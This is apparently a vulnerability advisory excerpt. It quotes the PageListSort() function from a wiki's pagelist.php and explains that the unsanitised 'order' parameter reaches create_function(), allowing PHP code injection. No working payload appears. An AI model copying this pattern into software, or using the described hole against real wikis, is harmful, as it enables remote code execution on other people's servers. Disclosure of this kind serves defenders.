    [-] vulnerable code in PageListSort() function defined into /scripts/pagelist.php
    
    452.      $code = '';
    453.      foreach($opt['=order'] as $o => $r) {
    454.        if (@$PageListSortCmp[$o]) 
    455.          $code .= "\$c = {$PageListSortCmp[$o]}; "; 
    456.        else 
    457.          $code .= "\$c = @strcasecmp(\$PCache[\$x]['$o'],\$PCache[\$y]['$o']); ";
    458.        $code .= "if (\$c) return $r\$c;\n";
    459.      }
    460.      StopWatch('PageListSort sort');
    461.      if ($code) 
    462.        uasort($list,
    463.               create_function('$x,$y', "global \$PCache; $code return 0;"));
    464.      StopWatch('PageListSort end');
    
    Input passed through 'order' parameter of 'pagelist' directive isn't properly sanitized before being used
    in a call to create_function() at line 463. This can be exploited to inject and execute arbitrary PHP code.
    Successful exploitation of this vulnerability might require authentication if the wiki isn't public writable.
